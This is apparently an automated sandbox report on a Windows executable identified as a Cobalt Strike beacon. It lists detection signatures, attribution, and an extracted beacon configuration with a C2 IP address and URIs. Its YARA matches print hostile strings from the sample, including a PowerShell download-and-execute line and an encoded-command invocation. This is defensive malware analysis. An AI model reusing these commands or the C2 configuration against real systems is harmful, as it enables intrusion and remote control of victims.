Edit tour

Windows Analysis Report
yZah650lHL.exe

Overview

General Information

Sample name:	yZah650lHL.exe renamed because original name is a hash value
Original sample name:	5ed55475a1fe6c18c1a67fa8c7008661.exe
Analysis ID:	1583548
MD5:	5ed55475a1fe6c18c1a67fa8c7008661
SHA1:	4ecc93379148eefce19f8f6ded6d141f7100bbcb
SHA256:	57a370d35e41f662454ba59baeddf042cb536c75e92e6022a63de197fd1377ba
Tags:	CobaltStrikeexeuser-abuse_ch
Infos:

Detection

CobaltStrike

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (creates a PE file in dynamic memory)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected Powershell download and execute

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Found API chain indicative of debugger detection

Found potential dummy code loops (likely to delay analysis)

Installs new ROOT certificates

Machine Learning detection for sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check if the current machine is a sandbox (GetTickCount - Sleep)

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

yZah650lHL.exe (PID: 6572 cmdline: "C:\Users\user\Desktop\yZah650lHL.exe" MD5: 5ED55475A1FE6C18C1A67FA8C7008661)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "42.192.3.170,/dpixel", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x329a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33180:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x334b2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33444:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x334b2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32a7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32ac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x334fc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d6a:$a11: Could not open service control manager on %s: %d 0x3329c:$a12: %d is an x64 process (can't inject x86 content) 0x332cc:$a13: %d is an x86 process (can't inject x64 content) 0x335ed:$a14: Failed to impersonate logged on user %d (%u) 0x33255:$a15: could not create remote thread in %d: %d 0x32b38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33203:$a17: could not write to process memory: %d 0x32d9b:$a18: Could not create service %s on %s: %d 0x32e24:$a19: Could not delete service %s on %s: %d 0x32c89:$a20: Could not open process token: %d (%u)
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1d93c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1956a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1a89b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x334b2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x334fc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x3: %d is an x86 process (can't inject x64 content) 0x32c89:$s1: Could not open process token: %d (%u) 0x329a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x41bf1:$loader_export: ReflectiveLoader 0x32960:$exportname: beacon.dll
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3329c:$x2: %d is an x64 process (can't inject x86 content) 0x335ed:$x3: Failed to impersonate logged on user %d (%u) 0x334fc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x334b2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x32c0f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x33203:$s4: could not write to process memory: %d 0x329a3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x33970:$str1: %s (admin) 0x32960:$str2: beacon.dll
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x334fc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x2: %d is an x86 process (can't inject x64 content) 0x334b2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33596:$x4: Failed to impersonate token from %d (%u) 0x335ed:$x5: Failed to impersonate logged on user %d (%u) 0x329a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4113819327.0000000000660000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x3348a:$s1: %%IMPORT%% 0x32987:$s2: www6.%x%x.%s 0x3297b:$s3: cdn.%x%x.%s 0x32c03:$s4: api.%x%x.%s 0x33970:$s5: %s (admin) 0x32c72:$s6: could not spawn %s: %d 0x3352e:$s7: Could not kill %d: %d 0x32d47:$s8: Could not connect to pipe (%s): %d 0x32994:$s9: %s.1%x.%x%x.%s 0x329a3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a7e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32ac4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x32b38:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b61:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b86:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x32ba7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x32bc4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x32bdd:$s9: %s.1%08x%08x.%x%x.%s 0x32bf2:$s9: %s.1%08x.%x%x.%s
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x30fa3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31780:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x31ab2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31a44:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x31ab2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x3107e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3120f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x310c4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31afc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x3136a:$a11: Could not open service control manager on %s: %d 0x3189c:$a12: %d is an x64 process (can't inject x86 content) 0x318cc:$a13: %d is an x86 process (can't inject x64 content) 0x31bed:$a14: Failed to impersonate logged on user %d (%u) 0x31855:$a15: could not create remote thread in %d: %d 0x31138:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31803:$a17: could not write to process memory: %d 0x3139b:$a18: Could not create service %s on %s: %d 0x31424:$a19: Could not delete service %s on %s: %d 0x31289:$a20: Could not open process token: %d (%u)
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1cd3c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1896a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x19c9b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x31ab2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31afc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x3: %d is an x86 process (can't inject x64 content) 0x31289:$s1: Could not open process token: %d (%u) 0x30fa3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s4: Could not connect to pipe (%s): %d
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x401f1:$loader_export: ReflectiveLoader 0x30f60:$exportname: beacon.dll
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x3189c:$x2: %d is an x64 process (can't inject x86 content) 0x31bed:$x3: Failed to impersonate logged on user %d (%u) 0x31afc:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x31ab2:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x3120f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x31803:$s4: could not write to process memory: %d 0x30fa3:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31347:$s6: Could not connect to pipe (%s): %d
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x31f70:$str1: %s (admin) 0x30f60:$str2: beacon.dll
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x31afc:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x318cc:$x2: %d is an x86 process (can't inject x64 content) 0x31ab2:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x31b96:$x4: Failed to impersonate token from %d (%u) 0x31bed:$x5: Failed to impersonate logged on user %d (%u) 0x30fa3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
00000000.00000002.4113551688.00000000001A0000.00000020.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x31a8a:$s1: %%IMPORT%% 0x30f87:$s2: www6.%x%x.%s 0x30f7b:$s3: cdn.%x%x.%s 0x31203:$s4: api.%x%x.%s 0x31f70:$s5: %s (admin) 0x31272:$s6: could not spawn %s: %d 0x31b2e:$s7: Could not kill %d: %d 0x31347:$s8: Could not connect to pipe (%s): %d 0x30f94:$s9: %s.1%x.%x%x.%s 0x30fa3:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3101b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x3107e:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x310c4:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31102:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x31138:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31161:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x31186:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x311a7:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x311c4:$s9: %s.1%08x%08x%08x.%x%x.%s 0x311dd:$s9: %s.1%08x%08x.%x%x.%s 0x311f2:$s9: %s.1%08x.%x%x.%s
Process Memory Space: yZah650lHL.exe PID: 6572	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: yZah650lHL.exe PID: 6572	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: yZah650lHL.exe PID: 6572	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: yZah650lHL.exe PID: 6572	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: yZah650lHL.exe PID: 6572	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: yZah650lHL.exe PID: 6572	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x158c48:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1cca56:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x158cc0:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1ccace:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x159425:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x1cd233:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x15974d:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x1cd55b:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x1596df:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x15974d:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x1cd4ed:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x1cd55b:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x158d23:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1ccb31:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x158eb4:$a7: could not run command (w/ token) because of its length of %d bytes! 0x1cccc2:$a7: could not run command (w/ token) because of its length of %d bytes! 0x158d69:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1ccb77:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x158da7:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x1ccbb5:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x159797:$a10: powershell -nop -exec bypass -EncodedCommand "%s"
Process Memory Space: yZah650lHL.exe PID: 6572	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x15df2d:$loader_export: ReflectiveLoader 0x15df4c:$loader_export: ReflectiveLoader 0x1d1b8e:$loader_export: ReflectiveLoader 0x1d1bad:$loader_export: ReflectiveLoader 0x158a81:$exportname: beacon.dll 0x158c0c:$exportname: beacon.dll 0x1cc891:$exportname: beacon.dll 0x1cca1a:$exportname: beacon.dll
Process Memory Space: yZah650lHL.exe PID: 6572	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x159797:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x1cd5a5:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x159571:$x2: %d is an x86 process (can't inject x64 content) 0x1cd37f:$x2: %d is an x86 process (can't inject x64 content) 0x15974d:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x1cd55b:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x159831:$x4: Failed to impersonate token from %d (%u) 0x1cd63f:$x4: Failed to impersonate token from %d (%u) 0x159888:$x5: Failed to impersonate logged on user %d (%u) 0x1cd696:$x5: Failed to impersonate logged on user %d (%u) 0x158c48:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x1cca56:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.yZah650lHL.exe.660000.2.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.660000.2.raw.unpack	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
0.2.yZah650lHL.exe.660000.2.raw.unpack	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x329a3:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32a1b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33180:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x334b2:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x33444:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x334b2:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x32a7e:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32c0f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x32ac4:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32b02:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x334fc:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x32d6a:$a11: Could not open service control manager on %s: %d 0x3329c:$a12: %d is an x64 process (can't inject x86 content) 0x332cc:$a13: %d is an x86 process (can't inject x64 content) 0x335ed:$a14: Failed to impersonate logged on user %d (%u) 0x33255:$a15: could not create remote thread in %d: %d 0x32b38:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x33203:$a17: could not write to process memory: %d 0x32d9b:$a18: Could not create service %s on %s: %d 0x32e24:$a19: Could not delete service %s on %s: %d 0x32c89:$a20: Could not open process token: %d (%u)
0.2.yZah650lHL.exe.660000.2.raw.unpack	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x1d93c:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
0.2.yZah650lHL.exe.660000.2.raw.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x1956a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1a89b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.yZah650lHL.exe.660000.2.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x334b2:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x334fc:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x332cc:$x3: %d is an x86 process (can't inject x64 content) 0x32c89:$s1: Could not open process token: %d (%u) 0x329a3:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x32d47:$s4: Could not connect to pipe (%s): %d
0.2.yZah650lHL.exe.660000.2.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x41bf1:$loader_export: ReflectiveLoader 0x32960:$exportname: beacon.dll
